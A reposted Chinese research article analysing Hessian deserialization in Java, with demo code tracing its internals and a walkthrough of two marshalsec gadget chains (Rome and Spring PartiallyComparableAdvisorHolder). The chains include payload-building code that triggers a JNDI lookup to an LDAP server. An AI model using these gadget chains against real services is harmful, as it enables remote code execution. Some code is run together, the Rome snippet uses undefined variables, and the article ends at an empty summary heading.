溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Hessian 反序列化及相關(guān)利用鏈

發(fā)布時(shí)間:2020-08-10 18:23:55 來源:ITPUB博客 閱讀:181 作者:酷酷的曉得哥 欄目:軟件技術(shù)

作者:Longofo@知道創(chuàng)宇404實(shí)驗(yàn)室
時(shí)間:2020年2月20日

原文地址:https://paper.seebug.org/1131/

前不久有一個(gè)關(guān)于Apache Dubbo Http反序列化的漏洞,本來是一個(gè)正常功能(通過正常調(diào)用抓包即可驗(yàn)證確實(shí)是正常功能而不是非預(yù)期的Post),通過Post傳輸序列化數(shù)據(jù)進(jìn)行遠(yuǎn)程調(diào)用,但是如果Post傳遞惡意的序列化數(shù)據(jù)就能進(jìn)行惡意利用。Apache Dubbo還支持很多協(xié)議,例如Dubbo(Dubbo Hessian2)、Hessian(包括Hessian與Hessian2,這里的Hessian2與Dubbo Hessian2不是同一個(gè))、Rmi、Http等。Apache Dubbo是遠(yuǎn)程調(diào)用框架,既然Http方式的遠(yuǎn)程調(diào)用傳輸了序列化的數(shù)據(jù),那么其他協(xié)議也可能存在類似問題,例如Rmi、Hessian等。@pyn3rd師傅之前在 twiter發(fā)了關(guān)于Apache Dubbo Hessian協(xié)議的反序列化利用,Apache Dubbo Hessian反序列化問題之前也被提到過, 這篇文章里面講到了Apache Dubbo Hessian存在反序列化被利用的問題,類似的還有Apache Dubbo Rmi反序列化問題。之前也沒比較完整的去分析過一個(gè)反序列化組件處理流程,剛好趁這個(gè)機(jī)會(huì)看看Hessian序列化、反序列化過程,以及 marshalsec工具中對(duì)于Hessian的幾條利用鏈。

關(guān)于序列化/反序列化機(jī)制

序列化/反序列化機(jī)制(或者可以叫編組/解組機(jī)制,編組/解組比序列化/反序列化含義要廣),參考 marshalsec.pdf,可以將序列化/反序列化機(jī)制分大體分為兩類:

  1. 基于Bean屬性訪問機(jī)制
  2. 基于Field機(jī)制

基于Bean屬性訪問機(jī)制

  • SnakeYAML
  • jYAML
  • YamlBeans
  • Apache Flex BlazeDS
  • Red5 IO AMF
  • Jackson
  • Castor
  • Java XMLDecoder
  • ...

它們最基本的區(qū)別是如何在對(duì)象上設(shè)置屬性值,它們有共同點(diǎn),也有自己獨(dú)有的不同處理方式。有的通過反射自動(dòng)調(diào)用 getter(xxx)setter(xxx)訪問對(duì)象屬性,有的還需要調(diào)用默認(rèn)Constructor,有的處理器(指的上面列出來的那些)在反序列化對(duì)象時(shí),如果類對(duì)象的某些方法還滿足自己設(shè)定的某些要求,也會(huì)被自動(dòng)調(diào)用。還有XMLDecoder這種能調(diào)用對(duì)象任意方法的處理器。有的處理器在支持多態(tài)特性時(shí),例如某個(gè)對(duì)象的某個(gè)屬性是Object、Interface、abstruct等類型,為了在反序列化時(shí)能完整恢復(fù),需要寫入具體的類型信息,這時(shí)候可以指定更多的類,在反序列化時(shí)也會(huì)自動(dòng)調(diào)用具體類對(duì)象的某些方法來設(shè)置這些對(duì)象的屬性值。這種機(jī)制的攻擊面比基于Field機(jī)制的攻擊面大,因?yàn)樗鼈冏詣?dòng)調(diào)用的方法以及在支持多態(tài)特性時(shí)自動(dòng)調(diào)用方法比基于Field機(jī)制要多。

基于Field機(jī)制

基于Field機(jī)制是通過特殊的native(native方法不是java代碼實(shí)現(xiàn)的,所以不會(huì)像Bean機(jī)制那樣調(diào)用getter、setter等更多的java方法)方法或反射(最后也是使用了native方式)直接對(duì)Field進(jìn)行賦值操作的機(jī)制,不是通過getter、setter方式對(duì)屬性賦值(下面某些處理器如果進(jìn)行了特殊指定或配置也可支持Bean機(jī)制方式)。在ysoserial中的payload是基于原生Java Serialization,marshalsec支持多種,包括上面列出的和下面列出的。

  • Java Serialization
  • Kryo
  • Hessian
  • json-io
  • XStream
  • ...

就對(duì)象進(jìn)行的方法調(diào)用而言,基于字段的機(jī)制通常通常不構(gòu)成攻擊面。另外,許多集合、Map等類型無法使用它們運(yùn)行時(shí)表示形式進(jìn)行傳輸/存儲(chǔ)(例如Map,在運(yùn)行時(shí)存儲(chǔ)是通過計(jì)算了對(duì)象的hashcode等信息,但是存儲(chǔ)時(shí)是沒有保存這些信息的),這意味著所有基于字段的編組器都會(huì)為某些類型捆綁定制轉(zhuǎn)換器(例如Hessian中有專門的MapSerializer轉(zhuǎn)換器)。這些轉(zhuǎn)換器或其各自的目標(biāo)類型通常必須調(diào)用攻擊者提供的對(duì)象上的方法,例如Hessian中如果是反序列化map類型,會(huì)調(diào)用MapDeserializer處理map,期間map的put方法被調(diào)用,map的put方法又會(huì)計(jì)算被恢復(fù)對(duì)象的hash造成hashcode調(diào)用(這里對(duì)hashcode方法的調(diào)用就是前面說的必須調(diào)用攻擊者提供的對(duì)象上的方法),根據(jù)實(shí)際情況,可能hashcode方法中還會(huì)觸發(fā)后續(xù)的其他方法調(diào)用。

Hessian簡介

Hessian是二進(jìn)制的web service協(xié)議,官方對(duì)Java、Flash/Flex、Python、C++、.NET C#等多種語言都進(jìn)行了實(shí)現(xiàn)。Hessian和Axis、XFire都能實(shí)現(xiàn)web service方式的遠(yuǎn)程方法調(diào)用,區(qū)別是Hessian是二進(jìn)制協(xié)議,Axis、XFire則是SOAP協(xié)議,所以從性能上說Hessian遠(yuǎn)優(yōu)于后兩者,并且Hessian的JAVA使用方法非常簡單。它使用Java語言接口定義了遠(yuǎn)程對(duì)象,集合了序列化/反序列化和RMI功能。本文主要講解Hessian的序列化/反序列化。

下面做個(gè)簡單測試下Hessian Serialization與Java Serialization:

//Student.javaimport java.io.Serializable;public class Student implements Serializable {
    private static final long serialVersionUID = 1L;
    private int id;
    private String name;
    private transient String gender;
    public int getId() {
        System.out.println("Student getId call");
        return id;
    }
    public void setId(int id) {
        System.out.println("Student setId call");
        this.id = id;
    }
    public String getName() {
        System.out.println("Student getName call");
        return name;
    }
    public void setName(String name) {
        System.out.println("Student setName call");
        this.name = name;
    }
    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }
    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender = gender;
    }
    public Student() {
        System.out.println("Student default constractor call");
    }
    public Student(int id, String name, String gender) {
        this.id = id;
        this.name = name;
        this.gender = gender;
    }
    @Override    public String toString() {
        return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";
    }}
//HJSerializationTest.javaimport com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class HJSerializationTest {
    public static <T> byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }
    public static <T> T hdeserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }
    public static <T> byte[] jdkSerialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            ObjectOutputStream output = new ObjectOutputStream(os);
            output.writeObject(t);
            output.flush();
            output.close();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }
    public static <T> T jdkDeserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            ObjectInputStream input = new ObjectInputStream(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }
    public static void main(String[] args) {
        Student stu = new Student(1, "hessian", "boy");
        long htime1 = System.currentTimeMillis();
        byte[] hdata = hserialize(stu);
        long htime2 = System.currentTimeMillis();
        System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time:" + (htime2 - htime1));
        long htime3 = System.currentTimeMillis();
        Student hstudent = hdeserialize(hdata);
        long htime4 = System.currentTimeMillis();
        System.out.println("hessian deserialize result:" + hstudent + "," + "cost time:" + (htime4 - htime3));
        System.out.println();
        long jtime1 = System.currentTimeMillis();
        byte[] jdata = jdkSerialize(stu);
        long jtime2 = System.currentTimeMillis();
        System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time:" + (jtime2 - jtime1));
        long jtime3 = System.currentTimeMillis();
        Student jstudent = jdkDeserialize(jdata);
        long jtime4 = System.currentTimeMillis();
        System.out.println("jdk deserialize result:" + jstudent + "," + "cost time:" + (jtime4 - jtime3));
    }}

結(jié)果如下:

hessian serialize result length = 64,cost time:45hessian deserialize result:Student(id=1,name=hessian,gender=null),cost time:3jdk serialize result length = 100,cost time:5jdk deserialize result:Student(id=1,name=hessian,gender=null),cost time:43

通過這個(gè)測試可以簡單看出Hessian反序列化占用的空間比JDK反序列化結(jié)果小,Hessian序列化時(shí)間比JDK序列化耗時(shí)長,但Hessian反序列化很快。并且兩者都是基于Field機(jī)制,沒有調(diào)用getter、setter方法,同時(shí)反序列化時(shí)構(gòu)造方法也沒有被調(diào)用。

Hessian概念圖

下面的是網(wǎng)絡(luò)上對(duì)Hessian分析時(shí)常用的概念圖,在新版中是整體也是這些結(jié)構(gòu),就直接拿來用了:

Hessian 反序列化及相關(guān)利用鏈

  • Serializer:序列化的接口
  • Deserializer :反序列化的接口
  • AbstractHessianInput :hessian自定義的輸入流,提供對(duì)應(yīng)的read各種類型的方法
  • AbstractHessianOutput :hessian自定義的輸出流,提供對(duì)應(yīng)的write各種類型的方法
  • AbstractSerializerFactory
  • SerializerFactory :Hessian序列化工廠的標(biāo)準(zhǔn)實(shí)現(xiàn)
  • ExtSerializerFactory:可以設(shè)置自定義的序列化機(jī)制,通過該Factory可以進(jìn)行擴(kuò)展
  • BeanSerializerFactory:對(duì)SerializerFactory的默認(rèn)object的序列化機(jī)制進(jìn)行強(qiáng)制指定,指定為使用BeanSerializer對(duì)object進(jìn)行處理

Hessian Serializer/Derializer默認(rèn)情況下實(shí)現(xiàn)了以下序列化/反序列化器,用戶也可通過接口/抽象類自定義序列化/反序列化器:

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

序列化時(shí)會(huì)根據(jù)對(duì)象、屬性不同類型選擇對(duì)應(yīng)的序列化其進(jìn)行序列化;反序列化時(shí)也會(huì)根據(jù)對(duì)象、屬性不同類型選擇不同的反序列化器;每個(gè)類型序列化器中還有具體的FieldSerializer。這里注意下JavaSerializer/JavaDeserializer與BeanSerializer/BeanDeserializer,它們不是類型序列化/反序列化器,而是屬于機(jī)制序列化/反序列化器:

  1. JavaSerializer:通過反射獲取所有bean的屬性進(jìn)行序列化,排除static和transient屬性,對(duì)其他所有的屬性進(jìn)行遞歸序列化處理(比如屬性本身是個(gè)對(duì)象)

  2. BeanSerializer是遵循pojo bean的約定,掃描bean的所有方法,發(fā)現(xiàn)存在get和set方法的屬性進(jìn)行序列化,它并不直接直接操作所有的屬性,比較溫柔

Hessian反序列化過程

這里使用一個(gè)demo進(jìn)行調(diào)試,在Student屬性包含了String、int、List、Map、Object類型的屬性,添加了各屬性setter、getter方法,還有readResovle、finalize、toString、hashCode方法,并在每個(gè)方法中進(jìn)行了輸出,方便觀察。雖然不會(huì)覆蓋Hessian所有邏輯,不過能大概看到它的面貌:

//people.javapublic class People {
    int id;
    String name;
    public int getId() {
        System.out.println("Student getId call");
        return id;
    }
    public void setId(int id) {
        System.out.println("Student setId call");
        this.id = id;
    }
    public String getName() {
        System.out.println("Student getName call");
        return name;
    }
    public void setName(String name) {
        System.out.println("Student setName call");
        this.name = name;
    }}
//Student.javapublic class Student extends People implements Serializable {
    private static final long serialVersionUID = 1L;
    private static Student student = new Student(111, "xxx", "ggg");
    private transient String gender;
    private Map<String, Class<Object>> innerMap;
    private List<Student> friends;
    public void setFriends(List<Student> friends) {
        System.out.println("Student setFriends call");
        this.friends = friends;
    }
    public void getFriends(List<Student> friends) {
        System.out.println("Student getFriends call");
        this.friends = friends;
    }
    public Map getInnerMap() {
        System.out.println("Student getInnerMap call");
        return innerMap;
    }
    public void setInnerMap(Map innerMap) {
        System.out.println("Student setInnerMap call");
        this.innerMap = innerMap;
    }
    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }
    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender = gender;
    }
    public Student() {
        System.out.println("Student default constructor call");
    }
    public Student(int id, String name, String gender) {
        System.out.println("Student custom constructor call");
        this.id = id;
        this.name = name;
        this.gender = gender;
    }
    private void readObject(ObjectInputStream ObjectInputStream) {
        System.out.println("Student readObject call");
    }
    private Object readResolve() {
        System.out.println("Student readResolve call");
        return student;
    }
    @Override    public int hashCode() {
        System.out.println("Student hashCode call");
        return super.hashCode();
    }
    @Override    protected void finalize() throws Throwable {
        System.out.println("Student finalize call");
        super.finalize();
    }
    @Override    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", innerMap=" + innerMap +
                ", friends=" + friends +
                '}';
    }}
//SerialTest.javapublic class SerialTest {
    public static <T> byte[] serialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }
    public static <T> T deserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }
    public static void main(String[] args) {
        int id = 111;
        String name = "hessian";
        String gender = "boy";
        Map innerMap = new HashMap<String, Class<Object>>();
        innerMap.put("1", ObjectInputStream.class);
        innerMap.put("2", SQLData.class);
        Student friend = new Student(222, "hessian1", "boy");
        List friends = new ArrayList<Student>();
        friends.add(friend);
        Student stu = new Student();
        stu.setId(id);
        stu.setName(name);
        stu.setGender(gender);
        stu.setInnerMap(innerMap);
        stu.setFriends(friends);
        System.out.println("---------------hessian serialize----------------");
        byte[] obj = serialize(stu);
        System.out.println(new String(obj));
        System.out.println("---------------hessian deserialize--------------");
        Student student = deserialize(obj);
        System.out.println(student);
    }}

下面是對(duì)上面這個(gè)demo進(jìn)行調(diào)試后畫出的Hessian在反序列化時(shí)處理的大致面貌(圖片太大,無法上傳,建議去 https://paper.seebug.org/1131/查看原文):

下面通過在調(diào)試到某些關(guān)鍵位置具體說明。

獲取目標(biāo)類型反序列化器

首先進(jìn)入HessianInput.readObject(),讀取tag類型標(biāo)識(shí)符,由于Hessian序列化時(shí)將結(jié)果處理成了Map,所以第一個(gè)tag總是M(ascii 77):

Hessian 反序列化及相關(guān)利用鏈

case 77這個(gè)處理中,讀取了要反序列化的類型,接著調(diào)用 this._serializerFactory.readMap(in,type)進(jìn)行處理,默認(rèn)情況下serializerFactory使用的Hessian標(biāo)準(zhǔn)實(shí)現(xiàn)SerializerFactory:

Hessian 反序列化及相關(guān)利用鏈

先獲取該類型對(duì)應(yīng)的Deserializer,接著調(diào)用對(duì)應(yīng)Deserializer.readMap(in)進(jìn)行處理,看下如何獲取對(duì)應(yīng)的Derserializer:

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

第一個(gè)紅框中主要是判斷在 _cacheTypeDeserializerMap中是否緩存了該類型的反序列化器;第二個(gè)紅框中主要是判斷是否在 _staticTypeMap中緩存了該類型反序列化器, _staticTypeMap主要存儲(chǔ)的是基本類型與對(duì)應(yīng)的反序列化器;第三個(gè)紅框中判斷是否是數(shù)組類型,如果是的話則進(jìn)入數(shù)組類型處理;第四個(gè)獲取該類型對(duì)應(yīng)的Class,進(jìn)入 this.getDeserializer(Class)再獲取該類對(duì)應(yīng)的Deserializer,本例進(jìn)入的是第四個(gè):

Hessian 反序列化及相關(guān)利用鏈

這里再次判斷了是否在緩存中,不過這次是使用的 _cacheDeserializerMap,它的類型是 ConcurrentHashMap,之前是 _cacheTypeDeserializerMap,類型是 HashMap,這里可能是為了解決多線程中獲取的問題。本例進(jìn)入的是第二個(gè) this.loadDeserializer(Class)

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

第一個(gè)紅框中是遍歷用戶自己設(shè)置的SerializerFactory,并嘗試從每一個(gè)工廠中獲取該類型對(duì)應(yīng)的Deserializer;第二個(gè)紅框中嘗試從上下文工廠獲取該類型對(duì)應(yīng)的Deserializer;第三個(gè)紅框嘗試創(chuàng)建上下文工廠,并嘗試獲取該類型自定義Deserializer,并且該類型對(duì)應(yīng)的Deserializer需要是類似 xxxHessianDeserializer,xxx表示該類型類名;第四個(gè)紅框依次判斷,如果匹配不上,則使用 getDefaultDeserializer(Class),本例進(jìn)入的是第四個(gè):

Hessian 反序列化及相關(guān)利用鏈

_isEnableUnsafeSerializer默認(rèn)是為true的,這個(gè)值的確定首先是根據(jù) sun.misc.Unsafe的theUnsafe字段是否為空決定,而 sun.misc.Unsafe的theUnsafe字段默認(rèn)在靜態(tài)代碼塊中初始化了并且不為空,所以為true;接著還會(huì)根據(jù)系統(tǒng)屬性 com.caucho.hessian.unsafe是否為false,如果為false則忽略由 sun.misc.Unsafe確定的值,但是系統(tǒng)屬性 com.caucho.hessian.unsafe默認(rèn)為null,所以不會(huì)替換剛才的ture結(jié)果。因此, _isEnableUnsafeSerializer的值默認(rèn)為true,所以上圖默認(rèn)就是使用的UnsafeDeserializer,進(jìn)入它的構(gòu)造方法。

獲取目標(biāo)類型各屬性反序列化器

Hessian 反序列化及相關(guān)利用鏈

在這里獲取了該類型所有屬性并確定了對(duì)應(yīng)得FieldDeserializer,還判斷了該類型的類中是否存在ReadResolve()方法,先看類型屬性與FieldDeserializer如何確定:

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈 Hessian 反序列化及相關(guān)利用鏈

獲取該類型以及所有父類的屬性,依次確定對(duì)應(yīng)屬性的FIeldDeserializer,并且屬性不能是transient、static修飾的屬性。下面就是依次確定對(duì)應(yīng)屬性的FieldDeserializer了,在UnsafeDeserializer中自定義了一些FieldDeserializer。

判斷目標(biāo)類型是否定義了readResolve()方法

接著上面的UnsafeDeserializer構(gòu)造器中,還會(huì)判斷該類型的類中是否有 readResolve()方法:

Hessian 反序列化及相關(guān)利用鏈

通過遍歷該類中所有方法,判斷是否存在 readResolve()方法。

好了,后面基本都是原路返回獲取到的Deserializer,本例中該類使用的是UnsafeDeserializer,然后回到 SerializerFactory.readMap(in,type)中,調(diào)用 UnsafeDeserializer.readMap(in)

Hessian 反序列化及相關(guān)利用鏈

至此,獲取到了本例中 com.longofo.deserialize.Student類的反序列化器 UnsafeDeserializer,以各字段對(duì)應(yīng)的FieldSerializer,同時(shí)在Student類中定義了 readResolve()方法,所以獲取到了該類的 readResolve()方法。

為目標(biāo)類型分配對(duì)象

接下來為目標(biāo)類型分配了一個(gè)對(duì)象:

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

通過 _unsafe.allocateInstance(classType)分配該類的一個(gè)實(shí)例,該方法是一個(gè) sun.misc.Unsafe中的native方法,為該類分配一個(gè)實(shí)例對(duì)象不會(huì)觸發(fā)構(gòu)造器的調(diào)用,這個(gè)對(duì)象的各屬性現(xiàn)在也只是賦予了JDK默認(rèn)值。

目標(biāo)類型對(duì)象屬性值的恢復(fù)

接下來就是恢復(fù)目標(biāo)類型對(duì)象的屬性值:

Hessian 反序列化及相關(guān)利用鏈

進(jìn)入循環(huán),先調(diào)用 in.readObject()從輸入流中獲取屬性名稱,接著從之前確定好的 this._fieldMap中匹配該屬性對(duì)應(yīng)的FieldDeserizlizer,然后調(diào)用匹配上的FieldDeserializer進(jìn)行處理。本例中進(jìn)行了序列化的屬性有innerMap(Map類型)、name(String類型)、id(int類型)、friends(List類型),這里以innerMap這個(gè)屬性恢復(fù)為例。

以InnerMap屬性恢復(fù)為例

innerMap對(duì)應(yīng)的FieldDeserializer為 UnsafeDeserializer$ObjectFieldDeserializer

Hessian 反序列化及相關(guān)利用鏈

首先調(diào)用 in.readObject(fieldClassType)從輸入流中獲取該屬性值,接著調(diào)用了 _unsafe.putObject這個(gè)位于 sun.misc.Unsafe中的native方法,并且不會(huì)觸發(fā)getter、setter方法的調(diào)用。這里看下 in.readObject(fieldClassType)具體如何處理的:

Hessian 反序列化及相關(guān)利用鏈

這里Map類型使用的是MapDeserializer,對(duì)應(yīng)的調(diào)用 MapDeserializer.readMap(in)方法來恢復(fù)一個(gè)Map對(duì)象:

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

注意這里的幾個(gè)判斷,如果是Map接口類型則使用HashMap,如果是SortedMap類型則使用TreeMap,其他Map則會(huì)調(diào)用對(duì)應(yīng)的默認(rèn)構(gòu)造器,本例中由于是Map接口類型,使用的是HashMap。接下來經(jīng)典的場景就來了,先使用 in.readObject()(這個(gè)過程和之前的類似,就不重復(fù)了)恢復(fù)了序列化數(shù)據(jù)中Map的key,value對(duì)象,接著調(diào)用了 map.put(key,value),這里是HashMap,在HashMap的put方法會(huì)調(diào)用 hash(key)觸發(fā)key對(duì)象的 key.hashCode()方法,在put方法中還會(huì)調(diào)用putVal,putVal又會(huì)調(diào)用key對(duì)象的 key.equals(obj)方法。處理完所有key,value后,返回到 UnsafeDeserializer$ObjectFieldDeserializer中:

Hessian 反序列化及相關(guān)利用鏈

使用native方法 _unsafe.putObject完成對(duì)象的innerMap屬性賦值。

Hessian的幾條利用鏈分析

在marshalsec工具中,提供了對(duì)于Hessian反序列化可利用的幾條鏈:

Hessian 反序列化及相關(guān)利用鏈

  • Rome

  • XBean

  • Resin

  • SpringPartiallyComparableAdvisorHolder

  • SpringAbstractBeanFactoryPointcutAdvisor

下面分析其中的兩條Rome和SpringPartiallyComparableAdvisorHolder,Rome是通過 HashMap.put-> key.hashCode觸發(fā),SpringPartiallyComparableAdvisorHolder是通過 HashMap.put-> key.equals觸發(fā)。其他幾個(gè)也是類似的,要么利用hashCode、要么利用equals。

SpringPartiallyComparableAdvisorHolder

在marshalsec中有所有對(duì)應(yīng)的Gadget Test,很方便:

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

這里將Hessian對(duì)SpringPartiallyComparableAdvisorHolder這條利用鏈提取出來看得比較清晰些:

String jndiUrl = "ldap://localhost:1389/obj";SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();bf.setShareableResources(jndiUrl);//反序列化時(shí)BeanFactoryAspectInstanceFactory.getOrder會(huì)被調(diào)用,會(huì)觸發(fā)調(diào)用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookupReflections.setFieldValue(bf, "logger", new NoOpLog());Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());//反序列化時(shí)AspectJAroundAdvice.getOrder會(huì)被調(diào)用,會(huì)觸發(fā)BeanFactoryAspectInstanceFactory.getOrderAspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);Reflections.setFieldValue(aif, "beanFactory", bf);Reflections.setFieldValue(aif, "name", jndiUrl);//反序列化時(shí)AspectJPointcutAdvisor.getOrder會(huì)被調(diào)用,會(huì)觸發(fā)AspectJAroundAdvice.getOrderAbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);//反序列化時(shí)PartiallyComparableAdvisorHolder.toString會(huì)被調(diào)用,會(huì)觸發(fā)AspectJPointcutAdvisor.getOrderAspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);Reflections.setFieldValue(advisor, "advice", advice);//反序列化時(shí)Xstring.equals會(huì)被調(diào)用,會(huì)觸發(fā)PartiallyComparableAdvisorHolder.toStringClass<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Object pcah = Reflections.createWithoutConstructor(pcahCl);Reflections.setFieldValue(pcah, "advisor", advisor);//反序列化時(shí)HotSwappableTargetSource.equals會(huì)被調(diào)用,觸發(fā)Xstring.equalsHotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));//反序列化時(shí)HashMap.putVal會(huì)被調(diào)用,觸發(fā)HotSwappableTargetSource.equals。這里沒有直接使用HashMap.put設(shè)置值,直接put會(huì)在本地觸發(fā)利用鏈,所以使用marshalsec使用了比較特殊的處理方式。
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

看以下觸發(fā)流程:

經(jīng)過 HessianInput.readObject(),到了 MapDeserializer.readMap(in)進(jìn)行處理Map類型屬性,這里觸發(fā)了 HashMap.put(key,value)

Hessian 反序列化及相關(guān)利用鏈

HashMap.put有調(diào)用了 HashMap.putVal方法,第二次put時(shí)會(huì)觸發(fā) key.equals(k)方法:

Hessian 反序列化及相關(guān)利用鏈

此時(shí)key與k分別如下,都是HotSwappableTargetSource對(duì)象:

Hessian 反序列化及相關(guān)利用鏈

進(jìn)入 HotSwappableTargetSource.equals

Hessian 反序列化及相關(guān)利用鏈

HotSwappableTargetSource.equals中又觸發(fā)了各自 target.equals方法,也就是 XString.equals(PartiallyComparableAdvisorHolder)

Hessian 反序列化及相關(guān)利用鏈

在這里觸發(fā)了 PartiallyComparableAdvisorHolder.toString

Hessian 反序列化及相關(guān)利用鏈

發(fā)了 AspectJPointcutAdvisor.getOrder

Hessian 反序列化及相關(guān)利用鏈

觸發(fā)了 AspectJAroundAdvice.getOrder

Hessian 反序列化及相關(guān)利用鏈

這里又觸發(fā)了 BeanFactoryAspectInstanceFactory.getOrder

Hessian 反序列化及相關(guān)利用鏈

又觸發(fā)了 SimpleJndiBeanFactory.getTYpe-> SimpleJndiBeanFactory.doGetType-> SimpleJndiBeanFactory.doGetSingleton-> SimpleJndiBeanFactory.lookup-> JndiTemplate.lookup-> Context.lookup

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

Rome

Rome相對(duì)來說觸發(fā)過程簡單些:

Hessian 反序列化及相關(guān)利用鏈

同樣將利用鏈提取出來:

//反序列化時(shí)ToStringBean.toString()會(huì)被調(diào)用,觸發(fā)JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookupString jndiUrl = "ldap://localhost:1389/obj";JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName(jndiUrl);rs.setMatchColumn("foo");//反序列化時(shí)EqualsBean.beanHashCode會(huì)被調(diào)用,觸發(fā)ToStringBean.toStringToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);//反序列化時(shí)HashMap.hash會(huì)被調(diào)用,觸發(fā)EqualsBean.hashCode->EqualsBean.beanHashCodeEqualsBean root = new EqualsBean(ToStringBean.class, item);//HashMap.put->HashMap.putVal->HashMap.hashHashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try {
    nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);

看下觸發(fā)過程:

經(jīng)過 HessianInput.readObject(),到了 MapDeserializer.readMap(in)進(jìn)行處理Map類型屬性,這里觸發(fā)了 HashMap.put(key,value)

Hessian 反序列化及相關(guān)利用鏈

接著調(diào)用了hash方法,其中調(diào)用了 key.hashCode方法:

Hessian 反序列化及相關(guān)利用鏈

Hessian 反序列化及相關(guān)利用鏈

接著觸發(fā)了 EqualsBean.hashCode->EqualsBean.beanHashCode

Hessian 反序列化及相關(guān)利用鏈

觸發(fā)了 ToStringBean.toString

Hessian 反序列化及相關(guān)利用鏈

這里調(diào)用了 JdbcRowSetImpl.getDatabaseMetadata,其中又觸發(fā)了 JdbcRowSetImpl.connect-> context.lookup

Hessian 反序列化及相關(guān)利用鏈

小結(jié)

